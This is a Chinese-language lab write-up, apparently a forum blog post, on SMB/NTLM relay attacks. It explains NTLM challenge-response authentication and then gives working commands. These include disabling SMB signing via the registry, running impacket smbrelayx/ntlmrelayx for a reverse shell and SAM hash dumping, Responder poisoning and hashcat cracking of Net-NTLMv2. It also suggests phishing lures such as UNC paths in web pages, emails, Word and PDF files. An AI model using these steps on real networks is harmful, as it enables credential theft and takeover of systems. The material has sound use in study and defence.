SMB重放攻击:当访问格式为\\IP\File的时候,会默认将当前用户密码凭证送到SMB服务进行认证,失败后才弹出需要输用户密码的对话框,但此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。

有了这个凭证,再进一步利用Hashcat等工具进行破解即有可能 得到能利用的用户密码。


SMB通信采用的是NTLM验证机制

NTLM认证的流程:

正常认证的情况下(参考klion):

Client端 ------ Server端

1、当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地

2、接着,client端会将自己的username明文发送给DC

3、此时,DC会生成一组8字节的随机数,也叫challenge(挑战码),返回给client端

4、当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response,最后再将challenge,response和username一并发送给Server端

5、Server端在接收到Client端传过来的这个三个值以后会将它们分别都转发给DC

6、DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密

7、最后,就剩比对了,把客户端传过来的response和在第六步中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败

重放攻击的情况(个人理解就是中间人攻击):

1、Client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了Server端,但实际上它是先发给了攻击者

2、然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge

3、攻击者拿到这个challenge以后再把它返回给client端

4、而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端

5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证

7、server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了


关于smb重放的一些利用前提条件:

1、目标机器不能开启smb签名(),否则利用无效,一般情况下,Windows Server系列会默认开启,而Windows单机系统[win7/8/8.1/10]默认都不会开

关闭SMB签名验证的命令: Windows Server系列中RequireSecuritySignature子键默认值为1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f


实验过程:

攻击机器:ubuntu 192.168.1.143

被攻击机器:win7 192.168.1.138

第三方机器:win2008r2 192.168.1.152

1、第一步:探测smb签名以及系统版本和开放情况
nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24,结果是08r2的机器没有开放,win7的机器有开放

2、第二步:ubuntu机器上进行smb中继攻击,这里利用的是impacket套件中的smbrelayx.py
sudo python smbrelayx.py -h 192.168.1.143 -e ~/shell.exe

3、第三步成功的情况:然后再将第三方机器,然后第三方机器上执行net use \\192.168.1.143,默认会将本机的Hash凭证和对方发来的挑战码生成NTLMv2哈希值再发送过去进行验证

这里需要注意的192.168.1.143是我们的攻击机器,搭建的伪SMB服务器,用来欺骗被攻击的机器,然后伪SMB服务器接收到了发送过来的凭证(NTLMv2哈希值)又会重放请求我们要请求的机器为192.168.1.143,然后会利用这个凭证对被攻击的机器进行创建服务,以system权限运行服务,反弹shell的行为

3、第三步失败的情况:当接收到NTLMv2哈希值是错误的时候,操作与上面的一样,只是在建立ipc管道连接的时候需要输入错误的账号和密码

还需要注意的就是:这种启动服务会在windows日志中保存!


刚才是对SMB签名关闭的情况,现在我们试下对Win7开启SMB签名的情况下再利用的是怎么样的

1、Win7机器上执行,开启SMB签名reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f

2、检查是否关闭nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24

3、再重复上面的操作,第三方机器net use \\192.168.1.143,发现结果如下


利用hashcat破解Net-Ntlmv2:

1、将拿到的response也就是Net-Ntlmv2保存到hash.txt中,进行破解 -m 5600指定破解hash类型为Net-Ntlmv2

hashcat64.exe -m 5600 hash.txt pass.txt

2、结果如下


想下:别人肯定不会无缘无故用其他计算机的ip来进行ipc管道类似的网络访问,这种是不切实际的,那么在实战中可以怎么利用呢?

两种途径:第一种肯定是我们去监听局域网中的SMB流量传输,窃取相应的凭证,第二种就是我们进行钓鱼,让被攻击方自己上钩,其实就是一个主动一个被动的关系!

钓鱼欺骗(主动):

1、可以通过在用户经常访问的 Web 网站(已经被我们拿下web权限)上插入 UNC 路径, 例如<img src="\\192.168.1.2\logo.jpg" /> 以进行 SMB 请求 (当前用户凭据),发现成功重放攻击,一般来说getshell不太可能,但是大概率能够拿到Net-Ntlmv2,实在不行也可以进行破解的操作

理解:自己感觉实用性一点都不好用,但是大家需要知道的就是unc路径走的是SMB协议,所以才能对Net-Ntlmv2进行抓取

监听流量(被动):Responder

1、利用 Responder 来进行 LLMNR/NetBIOS-NS 以及 WPAD 欺骗 sudo python2 Responder.py -I ens33 -v

2、然后让第三方机器访问其他机器,Responder进行投毒欺骗,抓取到的Net-Ntlmv2的流量

在这里Responder起到的作用就是帮我们把Net-Ntlmv2进行捕获的,如果要对Net-Ntlmv2进行利用的话可以用到impacket套件中的ntlmrelayx.py,sudo python2 ntlmrelayx.py -t 192.168.1.158,默认会帮你对攻击的机器进行sam中的dump哈希的操作

理解:自己感觉这种监听流量很有效,但是进行欺骗不知道动静大不大,在实战中抓到Net-Ntlmv2更重要一点,对于拿服务器权限我们其实随时都可以,前提是SMB签名关闭

拓展:

在实际渗透过程中,往往会配合钓鱼进行,红队经常这么玩。

1、在共享上放置特殊的目录,当用户点到这个目录的时候会自动请求攻击的SMB

2、在doc或邮件正文里插入文件,然后将相应的链接改为UNC路径(类似这种\\servername\sharename格式),通过内网邮件发送给对方

3、利用PDF的GoTobe和GoToR功能让对方打开PDF时自动请求SMB服务器上的文件等等。一般企业内部员工看到内部的邮件或公用共享文件夹会放松警惕,当点开之后,当前用户密码登录凭证已经被人拿到。
参考文章:https://cloud.tencent.com/developer/news/200028

4、metasploit中的auxiliary/docx/word_unc_injector会创建一个带有unc路径的word文件,当该文件被打开的时候攻击机器的msf上就会收到NTLMv2 hash,也就是response

文章参考:
https://paper.seebug.org/474/ 《花式窃取NetNTLM哈希的方法》
http://www.sohu.com/a/328732685_609556 《SMB重放攻击》
《内网针对AD域的攻击方式和防护方法》

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖